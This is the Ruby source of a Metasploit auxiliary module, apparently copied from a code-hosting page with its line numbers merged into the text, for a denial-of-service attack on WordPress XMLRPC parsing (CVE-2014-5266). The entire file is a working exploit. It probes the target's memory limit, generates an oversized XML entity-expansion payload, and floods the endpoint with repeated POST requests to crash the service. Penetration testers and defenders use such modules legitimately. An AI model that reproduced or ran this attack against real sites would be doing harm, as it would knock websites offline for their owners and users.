Path: blob/master/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HTTP::Wordpress7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Wordpress XMLRPC DoS',14'Description' => %q{15Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.16This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are17also patched).18},19'Author' => [20'Nir Goldshlager', # advisory21'Christian Mehlmauer' # metasploit module22],23'License' => MSF_LICENSE,24'References' => [25['CVE', '2014-5266'],26['URL', 'https://wordpress.org/news/2014/08/wordpress-3-9-2/'],27['URL', 'http://www.breaksec.com/?p=6362'],28['URL', 'https://mashable.com/archive/wordpress-xml-blowup-dos'],29['URL', 'https://core.trac.wordpress.org/changeset/29404'],30['WPVDB', '7526']31],32'DisclosureDate' => '2014-08-06',33'Notes' => {34'Stability' => [CRASH_SERVICE_DOWN],35'SideEffects' => [],36'Reliability' => []37}38)39)4041register_options(42[43OptInt.new('RLIMIT', [ true, 'Number of requests to send', 1000 ])44]45)4647register_advanced_options(48[49OptInt.new('FINGERPRINT_STEP', [true, 'The stepsize in MB when fingerprinting', 8]),50OptInt.new('DEFAULT_LIMIT', [true, 'The default limit in MB', 8])51]52)53end5455def rlimit56datastore['RLIMIT']57end5859def default_limit60datastore['DEFAULT_LIMIT']61end6263def fingerprint_step64datastore['FINGERPRINT_STEP']65end6667def fingerprint68memory_to_use = fingerprint_step69# try out the available memory in steps70# apache will return a server error if the limit is reached71while memory_to_use < 102472vprint_status("trying memory limit #{memory_to_use}MB")73opts = {74'method' => 'POST',75'uri' => wordpress_url_xmlrpc,76'data' => generate_xml(memory_to_use),77'ctype' => 'text/xml'78}7980begin81# low timeout because the server error is returned immediately82res = send_request_cgi(opts, 3)83rescue ::Rex::ConnectionError => e84print_error("unable to connect: '#{e.message}'")85break86end8788if res && res.code == 50089# limit reached, return last limit90last_limit = memory_to_use - fingerprint_step91vprint_status("got an error - using limit #{last_limit}MB")92return last_limit93else94memory_to_use += fingerprint_step95end96end9798# no limit can be determined99print_warning("can not determine limit, will use default of #{default_limit}")100return default_limit101end102103def generate_xml(size)104entity = Rex::Text.rand_text_alpha(3)105doctype = Rex::Text.rand_text_alpha(6)106param_value_1 = Rex::Text.rand_text_alpha(5)107param_value_2 = Rex::Text.rand_text_alpha(5)108109size_bytes = size * 1024110111# Wordpress only resolves one level of entities so we need112# to specify one long entity and reference it multiple times113xml = '<?xml version="1.0" encoding="iso-8859-1"?>'114xml << '<!DOCTYPE %<doctype>s ['115xml << '<!ENTITY %<entity>s "%<entity_value>s">'116xml << ']>'117xml << '<methodCall>'118xml << '<methodName>'119xml << '%<payload>s'120xml << '</methodName>'121xml << '<params>'122xml << '<param><value>%<param_value_1>s</value></param>'123xml << '<param><value>%<param_value_2>s</value></param>'124xml << '</params>'125xml << '</methodCall>'126127empty_xml = xml % {128doctype: '',129entity: '',130entity_value: '',131payload: '',132param_value_1: '',133param_value_2: ''134}135136space_to_fill = size_bytes - empty_xml.size137vprint_status("max XML space to fill: #{space_to_fill} bytes")138139payload = "&#{entity};" * (space_to_fill / 6)140entity_value_length = space_to_fill - payload.length141142payload_xml = xml % {143doctype: doctype,144entity: entity,145entity_value: Rex::Text.rand_text_alpha(entity_value_length),146payload: payload,147param_value_1: param_value_1,148param_value_2: param_value_2149}150151payload_xml152end153154def run155# get the max size156print_status('trying to fingerprint the maximum memory we could use')157size = fingerprint158print_status("using #{size}MB as memory limit")159160# only generate once161xml = generate_xml(size)162163for x in 1..rlimit164print_status("sending request ##{x}...")165opts = {166'method' => 'POST',167'uri' => wordpress_url_xmlrpc,168'data' => xml,169'ctype' => 'text/xml'170}171begin172c = connect173r = c.request_cgi(opts)174c.send_request(r)175# Don't wait for a response, can take very long176rescue ::Rex::ConnectionError => e177print_error("unable to connect: '#{e.message}'")178return179ensure180disconnect(c) if c181end182end183end184end185186187